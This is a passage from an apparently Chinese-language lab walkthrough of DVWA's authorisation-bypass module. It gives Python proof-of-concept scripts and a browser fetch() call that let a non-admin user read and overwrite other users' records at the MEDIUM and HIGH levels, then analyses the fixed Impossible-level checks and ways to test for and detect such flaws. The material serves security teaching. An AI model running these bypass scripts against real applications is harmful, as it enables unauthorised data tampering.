    print("[*] 步骤5: JSON POST 改写 user_id=1(admin)admin → PwnedAdmin ...")
    r = dvwa.change_user_details(1, "admin", "PwnedAdmin")
    print(f"    服务端返回: {r.text.strip()}")
    after = json.loads(dvwa.get_user_data().text)
    row1 = next((u for u in after if u["user_id"] == "1"), {})
    if r.json().get("result") == "ok" and row1.get("surname") == "PwnedAdmin":
        print("[+] 写通道绕过成功:普通用户改写了 admin 的资料并读回确认!")
    else:
        print("[-] 写入未生效,结果需人工复核")

    # ⑤ 还原现场
    print("[*] 步骤6: 还原现场(admin → admin) ...")
    dvwa.change_user_details(1, "admin", "admin")
    after = json.loads(dvwa.get_user_data().text)
    ok = "PwnedAdmin" not in json.dumps(after)
    print("[+] 现场已还原" if ok else "[-] 还原失败,请手动检查 users 表")
    print("-" * 60)

    # ⑥ 结论
    print("[*] 结论:")
    print("    MEDIUM 级别的授权检查只存在于主页面入口,")
    print("    功能文件对普通用户依旧全开放------读全量数据、改 admin 资料均成立,")
    print("    入口检查可被直接访问功能文件的方式完整绕过。")


def main():
    parser = argparse.ArgumentParser(
        description="DVWA Authorisation Bypass MEDIUM 级别 PoC(仅供授权靶场使用)")
    parser.add_argument("-t", "--target", default="http://dvwa.cc",
                        help="DVWA 根地址(默认 http://dvwa.cc)")
    parser.add_argument("-u", "--user", default="gordonb",
                        help="登录用户名(需非 admin,默认 gordonb)")
    parser.add_argument("-p", "--password", default="abc123",
                        help="登录密码(默认 abc123)")
    args = parser.parse_args()

    print("⚠️  警告:本脚本仅供本地授权靶场测试使用!")
    print("=" * 60)
    try:
        run(args.target, args.user, args.password)
    except requests.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        sys.exit(1)
    except RuntimeError as e:
        print(f"[-] {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

脚本说明

(1)总体思路。 本脚本采用"先证拦截,再证绕过 "的对照式验证法:步骤3 先访问主页面拿到 403 + Unauthorised,确立"MEDIUM 的入口检查确实存在"这一基线;随后步骤4/5 直接打两条功能通路,用"同一会话、同一时刻、入口被拦但功能全通"的强反差证明绕过成立。写通道验证延续"写入必核验、核验完还原"的安全护栏。

(2)功能模块划分。

功能模块 说明
DVWASession 与 LOW 完全复用的会话封装(登录 / 设级 / token 自适应)
主页面基线探测 步骤3 的 403 判定,确保目标确实处于 MEDIUM(环境预检,防止在 LOW 级别上跑出"假 403 缺失"的误报)
读/写通道封装 get_user_data() / change_user_details(),与 LOW 相同
主流程 run() 登录 → 设级 → 入口基线 → 读绕过 → 写绕过(改 admin)→ 还原 → 结论

说明:与 LOW 脚本相比没有新增任何攻击代码 ------MEDIUM 的绕过动作与 LOW 完全一样,新增的只是"入口拦截"这半场对照组。这本身就说明问题:入口检查的升级没有给攻击者增加任何成本

(3)逐步逻辑讲解。

首先,登录设级与入口基线。 步骤3 访问主页面并要求"HTTP 403 且响应体含 Unauthorised"双条件同时成立------若目标其实停在 LOW,这里会得到 200,脚本据此提示环境复核,避免把 LOW 的"无检查"误读成 MEDIUM 的结论。

其次,读通道差分。 步骤4 的 GET 在入口被拦的同一会话里发出:同一 PHPSESSID、同一 security Cookie,入口与功能文件的区别因此被干净隔离------唯一变量就是"请求打到了页面还是文件"。

最后,写通道与核验还原。 步骤5 改写 admin 并读回比对,确认落库后立即还原。判据链与 LOW 一致(result=ok → 读回 surname==PwnedAdmin → 还原后关键字清零)。

(4)验证判定逻辑。 MEDIUM 的服务端行为可以概括为"检查了渲染入口,没检查数据入口"。脚本用一次会话内的 403→200 反差与"写入落库"两个确定性事实,把"入口检查形同虚设"从主观印象变成可复现证据:403 证明检查存在,200+落库证明检查无效------两者缺一不可。

6、AI视角下的授权绕过检测

(1)功能级访问控制的智能检测:从"找页面"到"建清单"

MEDIUM 级别的教训是:入口检查制造了"已加固"的假象。对 AI 自动化审计而言,破除假象的方法是把审计对象从"页面清单"切换为"功能清单":

审计维度 传统扫描器 AI 自动化检测
审计单位 页面(URL) 功能(页面 + JS 提取的端点)
权限模型 无 / 单角色爬取 双角色差分矩阵
检查覆盖判断 页面 403 即认为"有防护" 逐端点判定"入口检查是否覆盖该功能"
报告口径 "存在登录墙" "入口检查覆盖 1/3 端点,2 个功能端点未受保护"

具体实现上,AI 需要完成三步:功能清单构建 (如 2.6 节的 JS 请求发射点分析,产出 {主页面, get_user_data.php, change_user_details.php} 三个条目);权限映射 (对每个条目标注"期望角色 = admin"------期望来自语义理解:'user manager' 界面文案、'This page should only be accessible by the admin user' 的页面声明都是线索);覆盖判定 (用 gordonb 会话逐一访问,主页面 403 而其余 200 → 覆盖率 1/3 → 判定"检查与功能分离"反模式)。本文 recon_authbypass.py 双 PHASE 的矩阵输出正是这一判定的原始数据。

(2)"半拉子检查"的模式识别

AI 在大量真实系统中会反复遇到同一形态:框架级/入口级中间件做了认证与粗粒度授权,而各业务端点各自裸奔 。识别这个反模式的信号组合在本模块全部出现:入口 403 干净利落(12 字节,说明写检查的人有安全意识);注释里点名两个文件(Have a look at these two files,说明作者自己都知道功能文件的存在);功能端点响应与低级别逐字节一致(说明升级时只动了入口文件)。AI 把这些信号组合成"入口有墙、功能无门 "的结构化判定,比单点扫描的"有/无漏洞"结论更能指导修复------它直接指出该把检查补到哪里(两个功能文件),而不是笼统地说"授权有问题"。

(3)AI 辅助的回归对抗

升级到 MEDIUM 后,一个常见误区是"复测主页 403 通过 = 修复完成"。AI 自动化检测的回归用例应当覆盖全部功能端点 × 全部角色 :本文 PoC 的步骤3/4/5 就是三个回归用例------入口拦截用例(期望 403)、读通道用例(期望被拦,实测 200 → 回归失败)、写通道用例(期望被拦,实测 ok + 落库 → 回归失败)。2/3 失败的"修复",AI 会如实报告为无效修复并给出失败用例明细,这正是自动化回归在授权治理里的核心价值。

7、MEDIUM级别------小结

MEDIUM 级别的授权检查只存在于主页面入口:

  • 非 admin 访问主页面被 403 拦截,检查干净利落
  • 但两个功能文件与 LOW 逐字节一致,检查覆盖率 1/3
  • 读全量数据、改写 admin 资料均可完整绕过

一句话总结:MEDIUM 级别装了一扇结实的门,却没封两扇敞开的窗------对直接访问功能文件的攻击者来说,这扇门只是装饰。

四、HIGH 级别 ------ 半修复:读通道已封,写通道未防

1、漏洞描述

HIGH 级别是一次不彻底的修复

核心机制

  • 主页面入口检查保留(source/high.php 与 medium 同款,非 admin → 403)
  • get_user_data.php 新增检查:high/impossible 级别下仅 admin 可读 ,其他用户拿到 Access denied------读通道被封
  • change_user_details.php 的身份检查没有随之加入(要到 Impossible 才加),HIGH 下任何登录用户仍可 JSON POST 改写任意用户------写通道完全敞开

核心问题 :形成"读被拦、写放行 "的不对称防线。普通用户虽然看不到数据,依然能改数据------看不见但改得动,攻击从"窃密"变成"破坏",危害的严重程度并没有下降

2、查看网页源代码

php 复制代码
<?php
/*

Only the admin user is allowed to access this page.

Have a look at this file for possible vulnerabilities: 

* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

3、分析网页源代码

(1)代码概述

组件 HIGH 下的行为 与 MEDIUM 的差异
主页面 非 admin → 403 无差异
get_user_data.php 非 admin → Access denied(41 字节 JSON) ✅ 读通道已封
change_user_details.php 非 admin 仍可 JSON POST 改任意用户 ❌ 写通道仍敞开

(2)漏洞分析

① 漏洞一 ------ 写通道无鉴权(本级别核心)

change_user_details.php 的身份检查条件只含 impossible,HIGH 下 gordonb 的 JSON POST 照样返回 {"result":"ok"}。实测改写 admin 资料成功。

② 漏洞二 ------ "盲写"放大了破坏潜力

由于读通道同时被封,gordonb 改完数据无法自查结果 ------但这不影响破坏本身。更糟的是:普通用户可以对着全表"盲改"(id 从 1 遍历到 N),把所有人的资料搅乱,而数据被改的用户毫无感知渠道。机密性修好了,完整性还在裸奔

③ 漏洞三 ------ 验证可见性不一致(防御者视角)

admin 与普通用户看到的 change_user_details.php 行为完全一致(admin: 59 字节 GET 响应;gordonb: 同样 59 字节),差别只在写请求的结果里------没有对普通用户的写请求做任何区分标记(无 403、无告警字段),日志层面也难以察觉。

4、操作步骤

⚠️ 踩坑 7:读被拦 ≠ 写也被拦。 在 HIGH 下测试,看到 get_user_data.php 返回 Access denied,很容易顺手认为"这级别修好了"。两个功能文件的检查是独立加的 ,必须逐个测。笔者实测 HIGH 下写通道返回 {"result":"ok"} 与 LOW/MEDIUM 完全一样。

⚠️ 踩坑 8(最隐蔽):盲写后无法用 gordonb 自己读回验证。 读通道被封后,gordonb 写入成功与否无法从自己的会话确认 ------get_user_data.php 只会给 Access denied。如果脚本在 HIGH 下沿用 LOW 的"写入后自己读回核验"逻辑,核验必然失败,会把成功的越权误判为失败。必须另开 admin 会话做交叉验证 (第二证据源)。这是本次实测中笔者踩的最深的一个坑:第一轮 HIGH 测试的写入其实全部落库了,但因为读不回来,还原逻辑没有触发,导致靶场残留了 Pwn3d/PwnedAdmin 脏数据,直到用 admin 会话复查才发现------这个教训直接写进了 PoC 的设计里。

(1)观察 HIGH 下的拦截面(普通用户视角)

  • gordonb / abc123 登录,将安全级别设置为 High
  • 访问 http://dvwa.cc/vulnerabilities/authbypass/ → 预期 Unauthorised(403)
  • 地址栏直接访问 http://dvwa.cc/vulnerabilities/authbypass/get_user_data.php → 预期 {"result":"fail","error":"Access denied"}

预期结果:主页面与读通道都被拦住,看起来"防护升级了"。

(2)测试写通道(被忽略的半边)

  • F12 Console 执行(注意此时返回的是 ok):
javascript 复制代码
fetch('/vulnerabilities/authbypass/change_user_details.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: 2, first_name: 'Gordon', surname: 'HighPwned'})
}).then(r => r.json()).then(console.log)
// 实测返回 {result: "ok"} ------ 写通道没有任何拦截

(3)交叉验证盲写落库(关键步骤)

  • gordonb 的会话读不回数据,另开一个浏览器窗口(或无痕窗口)用 admin/password 登录,把安全级别设为 Low(保证读通道可用)
  • admin 访问 get_user_data.php,观察 user_id=2

预期结果:admin 读回的数据里 Gordon 的 surname 已是 HighPwned------盲写真实落库 。验证完用 gordonb 会话把 surname 改回 Brown,再用 admin 会话复核还原成功。

为什么"读不到"反而更危险 :正常用户改资料,改完立刻能在界面上看到结果;攻击者盲写后系统没有任何异常反馈,数据库悄悄变了,而每个能看到数据的人都以为它一直是这个值。对防御者的启示是:完整性破坏往往缺少"告警瞬间",必须靠变更审计日志而非用户报障来发现。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
 DVWA Authorisation Bypass ------ HIGH 级别 PoC(读通道已封,写通道未防)
--------------------------------------------------------------------
 漏洞原理:
   HIGH 级别是一次"半修复":
     ① 主页面入口检查保留(非 admin → 403 Unauthorised);
     ② get_user_data.php 新增检查:high/impossible 下仅 admin 可读,
       "Access denied"------读通道被封;
     ③ 但 change_user_details.php 的身份检查要到 impossible 才加入,
        HIGH 下任何登录用户仍可 JSON POST 改写任意用户的资料------
        写通道完全敞开。
     于是形成"读被拦、写放行"的不对称防线:普通用户虽然看不到数据,
     依然能改数据(包括 admin 的资料),甚至构成"盲写"------
     看不见但改得动,危害不减反增(破坏完整性)。

 验证方法(双会话交叉验证):
   ① 以非 admin 用户 gordonb/abc123 登录,把安全等级设为 high;
   ② 验证主页面 403、get_user_data 返回 Access denied(确认读通道已封);
   ③ JSON POST 改写 gordonb 自己的资料 → 服务端返回 result=ok(盲写成功);
   ④ 由于 gordonb 的读通道被封,无法自查是否落库------
      脚本另开 admin 会话(第二证据源)读回核验 HighPwned 是否真实写入;
   ⑤ 核验通过后用 gordonb 会话还原,再用 admin 会话复核还原结果。

 使用方法:
   python poc_authbypass_high.py -t http://dvwa.cc [-u gordonb] [-p abc123] \
          [--admin-user admin] [--admin-password password]

 免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""

import argparse
import json
import re
import sys

import requests


class DVWASession:
    """DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""

    TOKEN_RE = re.compile(
        r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)

    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.http = requests.Session()
        self.http.headers.update(
            {"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})

    # ---------------- 内部工具 ----------------
    def _get(self, path, **kw):
        return self.http.get(self.base_url + path, timeout=10, **kw)

    def _post(self, path, data=None, **kw):
        return self.http.post(self.base_url + path, data=data, timeout=10, **kw)

    def _fetch_token(self, path):
        """访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
        html = self._get(path).text
        m = self.TOKEN_RE.search(html)
        return m.group(1) if m else None

    def _is_login_page(self, html):
        return bool(re.search(r"name=['\"]username['\"]", html))

    # ---------------- 前置步骤 ----------------
    def login(self):
        """两步登录:先取登录页 token,再携带 token 提交账号密码。"""
        data = {"username": self.username, "password": self.password,
                "Login": "Login"}
        token = self._fetch_token("/login.php")
        if token:
            data["user_token"] = token
        self._post("/login.php", data)

        html = self._get("/index.php").text
        if self._is_login_page(html):
            raise RuntimeError("登录失败:请检查用户名/密码或目标地址")

    def set_security(self, level):
        """通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
        data = {"security": level, "seclev_submit": "Submit"}
        token = self._fetch_token("/security.php")
        if token:
            data["user_token"] = token
        self._post("/security.php", data)

        current = self.http.cookies.get("security")
        if current != level:
            raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")

    # ---------------- 漏洞接口封装 ----------------
    def get_user_data(self):
        """GET 功能文件1:全量用户数据(JSON)。"""
        return self._get("/vulnerabilities/authbypass/get_user_data.php")

    def change_user_details(self, user_id, first_name, surname):
        """POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
        return self._post(
            "/vulnerabilities/authbypass/change_user_details.php",
            json={"id": user_id, "first_name": first_name, "surname": surname})


def run(base_url, username, password, admin_user, admin_password):
    print("[*] 目标地址:", base_url)
    print("[*] 测试账号(非 admin):", username)
    print("-" * 60)

    # ① 登录并设置安全等级
    dvwa = DVWASession(base_url, username, password)
    print("[*] 步骤1: 登录 DVWA(普通用户) ...")
    dvwa.login()
    print("[+] 登录成功")

    print("[*] 步骤2: 通过官方接口设置安全等级 high ...")
    dvwa.set_security("high")
    print("[+] 安全等级已设为 high(Cookie 校验通过)")
    print("-" * 60)

    # ② 主页面 + 读通道基线
    print("[*] 步骤3: 验证主页面与读通道的拦截情况 ...")
    r = dvwa._get("/vulnerabilities/authbypass/")
    if r.status_code == 403 and "Unauthorised" in r.text:
        print(f"[+] 主页面入口检查生效:HTTP {r.status_code} {r.text.strip()!r}")

    r = dvwa.get_user_data()
    if "Access denied" in r.text:
        print(f"[+] 读通道已封:get_user_data 返回 {r.text.strip()!r}(HTTP {r.status_code})")
    else:
        print(f"[!] 读通道响应异常: {r.text[:80]}(结果需人工复核)")
    print("-" * 60)

    # ③ 写通道盲写:gordonb 改自己
    print("[*] 步骤4: JSON POST 盲写 user_id=2(gordonb 自己)Brown → HighPwned ...")
    r = dvwa.change_user_details(2, "Gordon", "HighPwned")
    print(f"    服务端返回: {r.text.strip()}")
    try:
        write_ok = r.json().get("result") == "ok"
    except json.JSONDecodeError:
        write_ok = False
    if write_ok:
        print("[+] 写通道绕过成功:读被拦、写放行,服务端接受了普通用户的写入请求")
        print("    (gordonb 的读通道已被封,是否真正落库需要第二证据源确认)")
    else:
        print("[-] 盲写失败,结果需人工复核")
    print("-" * 60)

    # ④ admin 第二会话交叉验证
    print("[*] 步骤5: 另开 admin 会话,交叉核验盲写是否真实落库 ...")
    admin = DVWASession(base_url, admin_user, admin_password)
    admin.login()
    admin.set_security("low")          # admin 自己的级别独立,用 low 保证可读
    users = json.loads(admin.get_user_data().text)
    row2 = next((u for u in users if u["user_id"] == "2"), {})
    if row2.get("surname") == "HighPwned":
        print("[+] 交叉验证通过:admin 读回的数据中 Gordon 已变为 HighPwned")
        print("    ------ HIGH 级别的写入越权真实成立(完整性被破坏)")
    else:
        print(f"[-] 交叉验证失败,读回: {row2}")
    print("-" * 60)

    # ⑤ 还原现场 + 复核
    print("[*] 步骤6: 还原现场(gordonb 写回 Brown,admin 读回复核) ...")
    dvwa.change_user_details(2, "Gordon", "Brown")
    users = json.loads(admin.get_user_data().text)
    row2 = next((u for u in users if u["user_id"] == "2"), {})
    if row2.get("surname") == "Brown":
        print("[+] 现场已还原(Gordon Brown)")
    else:
        print(f"[-] 还原失败,请手动检查 users 表:{row2}")
    print("-" * 60)

    # ⑥ 结论
    print("[*] 结论:")
    print("    HIGH 级别封住了主页入口与数据读通道,但写通道(change_user_details)")
    print("    仍未做身份检查------普通用户虽读不到数据,依然能改写任意用户资料,")
    print("    构成'盲写'式越权。半修复 ≠ 修复,授权检查必须覆盖每个功能文件。")


def main():
    parser = argparse.ArgumentParser(
        description="DVWA Authorisation Bypass HIGH 级别 PoC(仅供授权靶场使用)")
    parser.add_argument("-t", "--target", default="http://dvwa.cc",
                        help="DVWA 根地址(默认 http://dvwa.cc)")
    parser.add_argument("-u", "--user", default="gordonb",
                        help="登录用户名(需非 admin,默认 gordonb)")
    parser.add_argument("-p", "--password", default="abc123",
                        help="登录密码(默认 abc123)")
    parser.add_argument("--admin-user", default="admin",
                        help="交叉验证用的管理员账号(默认 admin)")
    parser.add_argument("--admin-password", default="password",
                        help="交叉验证用的管理员密码(默认 password)")
    args = parser.parse_args()

    print("⚠️  警告:本脚本仅供本地授权靶场测试使用!")
    print("=" * 60)
    try:
        run(args.target, args.user, args.password,
            args.admin_user, args.admin_password)
    except requests.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        sys.exit(1)
    except RuntimeError as e:
        print(f"[-] {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

脚本说明

(1)总体思路。 本脚本采用"拦截面确认 → 盲写尝试 → 第二证据源交叉核验 → 还原复核 "四段式验证法:先确认 HIGH 的主页面 403 与读通道 Access denied(把"半修复"的已修半边钉死),再对写通道发起 JSON POST 盲写,关键是另开 admin 会话读回落库验证------因为 gordonb 自己的读通道已封,"写没写进去"必须由第二会话作证。这是本脚本与前两级别最大的结构差异。

(2)功能模块划分。

功能模块 说明
DVWASession 与前两级别完全复用
拦截面探测 主页面 403 判定 + 读通道 Access denied 判定(环境预检)
盲写请求 change_user_details(),代码与 LOW 相同------写通道从未变过
admin 第二会话 新增模块:独立登录、独立设级(设为 low 保证可读)、读回数据比对
还原复核 gordonb 写回原值 + admin 再次读回确认,双签收尾

说明:admin.set_security("low") 这一行值得展开------DVWA 的安全级别 Cookie 是会话级的,gordonb 会话设为 high 不影响 admin 会话自设 low,两个会话的"观察窗口"互不干扰。这个特性既是靶场的简化,也恰是交叉验证得以实现的机制基础。

(3)逐步逻辑讲解。

首先,拦截面确认。 步骤3 用两条独立判据确认环境:主页 403+Unauthorised、读通道 Access denied。若读通道没有返回 Access denied(比如目标实际在 medium),脚本会输出"响应异常,需人工复核",防止把 medium 的"可读可写"误判成 high 的"盲写"。

其次,盲写与不确定性标记。 步骤4 拿到 result=ok 后,脚本不直接宣布漏洞成立,而是明确打印"是否真正落库需要第二证据源确认"------把验证的不确定性显式暴露出来,这是与 LOW/MEDIUM 脚本在输出语义上的关键差异。

最后,交叉核验与双签还原。 步骤5 admin 会话读回比对 surname == "HighPwned",步骤6 gordonb 写回 Brown 后由 admin 再次读回确认。两次读回使用同一个 admin 会话,保证前后证据链一致。

(4)验证判定逻辑。 HIGH 的验证难点在于证据链断在中间 :攻击者视角只剩写通道的 result=ok,它只能证明"请求被接受",不能证明"数据被修改"(理论上有可能 ok 之后事务失败)。脚本用 admin 会话补上断点,构成完整的"请求 → 接受 → 落库 → 可读"四环证据链。凡是无法自证的写入型漏洞( blind SQLi、盲 XSS 同理),都需要这类"外部证据源"设计------HIGH 级别的 authbypass 恰好是教学这个设计范式的最佳样本。

6、AI视角下的授权绕过检测

(1)不对称防线的自动发现:CRUD 维度的拆分探测

HIGH 级别的核心特征是同一资源的读与写防护不对称 。AI 自动化检测的对应做法是把每个端点按 CRUD 语义拆分探测,而不是把"功能文件"当作原子单位:

探测动作 端点 admin 结果 gordonb 结果 自动判定
READ get_user_data.php 200 / 273 B 全量 200 / 41 B Access denied 读有鉴权 ✅
UPDATE change_user_details.php (JSON POST) {"result":"ok"} {"result":"ok"} 写无鉴权 ❌

判据来自同端点跨角色的响应差分 :读通道差分明显(数据 vs 错误消息),写通道差分为零。AI 将零差分的写通道标记为"UPDATE 未授权",并进一步做同值写探测 (把数据写回原值,如 {"id":2,"first_name":"Gordon","surname":"Brown"})来区分"检查存在但放行"与"检查不存在"------本例中 gordonb 拿到 ok 而 impossbile 下拿到 Access denied,可确定检查点根本不在 HIGH 的写通路上。

(2)盲写场景下的证据链编排

对 AI 而言,HIGH 级别最大的方法论挑战是验证闭环在攻击者会话内断裂。自动化检测系统需要掌握"多会话证据编排"能力,本文 PoC 的设计可直接推广:

  1. 主体会话 (gordonb):执行盲写,采集第一手证据 result=ok
  2. 验证会话(admin):独立设级、读回目标数据,采集落库证据
  3. 证据融合ok 与落库两个证据都存在才输出"漏洞成立",只有 ok 时输出"疑似,待核验"

这种编排的关键工程细节有三个:会话隔离 (两个独立 Session 对象,Cookie 互不污染);验证会话的观测位选择 (admin 设为 low 以获得读通道,等价于"给探测器找一个视野最好的制高点");时间窗控制 (写与读之间不插入其他变更操作,保证读回的数据只能来自本次写入------本靶场单用户环境下天然满足,真实系统需配合时间戳或唯一标记值,例如写入 HighPwned-<随机后缀> 使证据可归因)。第三点在真实系统里是盲写验证的标准做法:写入一个含随机标识的值,谁能读回这个标识,谁就是证据链的下游。

(3)半修复的回归测试模式

HIGH 是"修复了一半"的典型样本,AI 的回归测试应该产出修复完备度评分而不是通过/失败二值结论。以本模块为例,对"修复目标:非 admin 不能读写用户数据":

复制代码
修复完备度 = 已防护通路 / 应防护通路
READ  (get_user_data)         : 拦截 ✅  (1/2)
UPDATE (change_user_details)  : 放行 ❌  (1/2)
完备度 = 1/2 → 结论:半修复,剩余风险=完整性破坏(含 admin 资料被改)

这与官方源码的注释措辞("Have a look at this file"单数)互相印证。AI 把"完备度 + 剩余通路 + 风险类型"打包输出,修复团队可以据此精确补第二个检查点,而不是从头排查。

(4)行为遥测视角:盲写的可检测性

从防御侧看,盲写留下一类独特遥测:同一会话先被读通道拒绝(Access denied),紧接着对写通道发起请求 ------"先撞墙再敲门"是自动化攻击的强特征。AI 检测引擎把"端点级拒绝"与"相邻写请求"做时序关联,即可对盲写行为实时告警;单纯看写请求本身反而毫无异常(格式合法、参数合规、返回 ok)。这个视角也解释了为什么传统 WAF 对本漏洞几乎无感------每一个请求单独看都是合法的,恶意性只存在于序列与授权上下文里。

7、HIGH级别------小结

HIGH 级别是一次不彻底的修复:

  • 主页面与读通道(get_user_data)均已正确拦截普通用户
  • 写通道(change_user_details)的检查要 impossible 才加入,HIGH 下完全敞开
  • 普通用户构成"盲写":看不到数据,但能改任何人的资料(含 admin)
  • 修复完备度 2/3,剩余风险从机密性转为完整性

一句话总结:HIGH 级别证明"半修复"比"没修"更有迷惑性------拦截面给防御者安全感,敞开的写通道却把攻击从偷看升级成了暗中篡改。

五、Impossible 级别 ------ 功能级授权检查的范本

1、现象观察:六项守卫全通过(双账号实测)

Impossible 没有 PoC,但有一张守卫对照表 。本文 verify_impossible.py(随附脚本)以 gordonb / admin 双会话对三条通路逐一探测,实测结果:

通路 gordonb(普通用户) admin 判定
主页面 403 Unauthorised 200 正常渲染 ✅ 拦截/放行都正确
读通道 get_user_data.php {"result":"fail","error":"Access denied"} 200 全量 JSON
写通道 change_user_details.php {"result":"fail","error":"Access denied"} {"result":"ok"}

六项守卫(三个通路 × 拦截/放行两个方向)全部符合预期 ,脚本输出 [PASS] × 6。与 HIGH 最大的区别一眼可见:HIGH 下 gordonb 的写通道拿到的是 ok,Impossible 下拿到的是 Access denied------写通道的检查点确实存在并且生效。

2、源码取证:检查点"下沉"到每个功能文件

(1)三道防线的源码布局

防线一:主页面入口检查source/impossible.php,部署版实测取证):

php 复制代码
if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}

防线二:读通道检查get_user_data.php,条件含 impossible,且 impossible 下输出额外净化):

php 复制代码
if ((dvwaSecurityLevelGet() == "high" || dvwaSecurityLevelGet() == "impossible")
     && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}
// impossible 下输出额外做 HTML 转义
if( dvwaSecurityLevelGet() == 'impossible' ) {
    $first_name = htmlspecialchars( $row[1] );
    ...
}

防线三:写通道检查change_user_details.php,仅 impossible 有------但 impossible 级别下它生效):

php 复制代码
if (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}

(2)与 LOW 的结构性对比

LOW 的所有通路都没有检查;Impossible 的检查出现在每一个会触碰数据的文件里。同一个功能,三种实现姿态:

姿态 说明 对应级别
不检查 功能裸奔 LOW
只在入口检查 页面有墙,功能无门 MEDIUM(部分 HIGH)
每个功能文件独立检查 检查与功能绑定,缺一不可 Impossible

3、安全分析:为什么它是满分答案

首先,检查点与功能点重合,绕过在结构上不可能。 攻击者无论从哪个入口进来------主页面、直接访问文件、甚至伪造前端请求------最终都必须经过功能文件里的那道 if。没有"绕过入口直奔功能"的旁路可走,因为功能自己就是入口

其次,检查条件覆盖了所有危险级别组合。 读通道 high || impossible、写通道 impossible,每个级别下每条通路的行为都唯一确定,不存在 HIGH 那样的条件夹缝。

然后,拒绝方式工程上正确。 三处检查返回的都是正确的语义 :主页面用 403 + Unauthorised(页面语义),API 用 JSON Access denied(接口语义)------状态码与内容类型跟端点性质匹配,而不是一律 200 里塞一句错误文案。

最后,Impossible 还顺带修了输出与输入。 读通道在 impossible 下对输出做 htmlspecialchars,防止存储型内容二次污染前端。(值得注意的是:写通道的 SQL 拼接问题在源码里依然存在,说明 DVWA 作者认为"SQL 注入"属于 SQLi 模块的教学范畴,本模块的 Impossible 只负责"授权"这一件事------单一职责的教学设计。)

4、AI 视角:守卫矩阵的自动验证

Impossible 没有 PoC,但 AI 在这个级别上反而有一件标准化的事情可做:守卫完整性验证 ------把"安全"从一句评语变成一组可执行断言。本文 verify_impossible.py 演示了这套方法:

(1)断言式审计

把安全需求翻译成六条断言(三通路 × 两方向),脚本逐一执行并输出 [PASS]/[FAIL]

复制代码
[PASS] 主页面拦截普通用户
[PASS] 读通道拒绝普通用户
[PASS] 写通道拒绝普通用户
[PASS] 主页面允许 admin
[PASS] 读通道允许 admin
[PASS] 写通道允许 admin

双向断言缺一不可:只测"普通用户被拦"不测"admin 能用",就无法发现"检查条件写反、把所有人(含 admin)都挡在门外"的过杀型 bug------过杀和漏放都是授权故障

(2)无副作用探测设计

写通道的 admin 方向断言需要"写一次"才能验证,脚本用的是同值写{"id":2,...,"surname":"Brown"} 写回它本来的值):请求成功返回 ok 证明写权限通畅,数据内容零变化保证靶场无脏数据。这个技巧可直接迁移到生产环境的权限自检------用幂等的写请求探测写权限,探测本身不构成变更。

(3)把守卫矩阵固化为回归基线

Impossible 的六项实测结果可以固化为一份授权回归基线 (golden matrix):此后任何代码变更(重构、升级、加字段),CI 里重跑同一脚本,矩阵任何一格漂移都会被立刻捕获。对 AI 审计系统而言,这个基线还是"学习材料"------它标注了"正确的授权实现"在每个端点上应该长什么样(403 语义、JSON 错误格式、角色判定),为前几个级别的异常判定提供了正样本

(4)AI 视角的一句话

前三章 AI 输出的是"漏洞清单 + 利用路径",本章 AI 输出的是一张全绿的守卫矩阵。全绿不是"没测出东西",而是测出的东西恰好等于期望------这是授权审计里最难自动化的部分,因为它要求系统先知道"正确答案",再逐条核对现实。

5、Impossible级别------小结

Impossible 级别展示了功能级授权的完整答案:

  • 检查点下沉到每个功能文件,与功能绑定,无旁路可绕
  • 三通路 × 双方向六项守卫全部实测通过
  • 拒绝语义工程正确(403 页面语义 / JSON 接口语义)
  • 可固化为守卫矩阵,作为回归基线与审计正样本

一句话总结:授权检查的正确位置不在"页面门口",而在"每个功能的门口"------Impossible 把检查从入口搬到功能内部,LOW/MEDIUM/HIGH 则分别演示了"不检查 / 只查入口 / 查了一半"的三种残缺形态。

六、LOW vs MEDIUM vs HIGH vs Impossible:对比分析

1、防护策略演进对比(实测矩阵)

防护维度 LOW MEDIUM HIGH Impossible
主页面入口检查 ❌ 200 放行 ✅ 403 ✅ 403 ✅ 403
读通道检查(get_user_data) ❌ 全量泄露 ❌ 全量泄露 ✅ Access denied ✅ Access denied
写通道检查(change_user_details) ❌ 任意写 ❌ 任意写 ❌ 任意写 ✅ Access denied
菜单项对非 admin 隐藏 ✅(仅隐匿)
输出净化(htmlspecialchars)
修复完备度 0/3 1/3 2/3 3/3

说明:上表每一格都是本文双账号矩阵实测的结论,其中 HIGH 行"读✅写❌"的组合是与常见教程描述差异最大的一格。

2、攻击面变化分析

攻击类型 LOW MEDIUM HIGH Impossible
主页面未授权访问 ✅ 可行 ❌ 403 ❌ 403 ❌ 403
未授权读(数据泄露) ✅ 全量 ✅ 全量 ❌ 被拦 ❌ 被拦
未授权写(改自己/他人) ✅ 可行 ✅ 可行 ✅ 盲写可行 ❌ 被拦
垂直越权(改 admin) ✅ 可行 ✅ 可行 ✅ 盲写可行 ❌ 被拦
SQL 注入(UPDATE 拼接) ✅ 报错回显 ✅(教学保留)
攻击者所需知识 请求格式 端点 URL 端点 URL ------

3、防御策略演进路径

复制代码
LOW 级别                MEDIUM 级别               HIGH 级别
    │                        │                         │
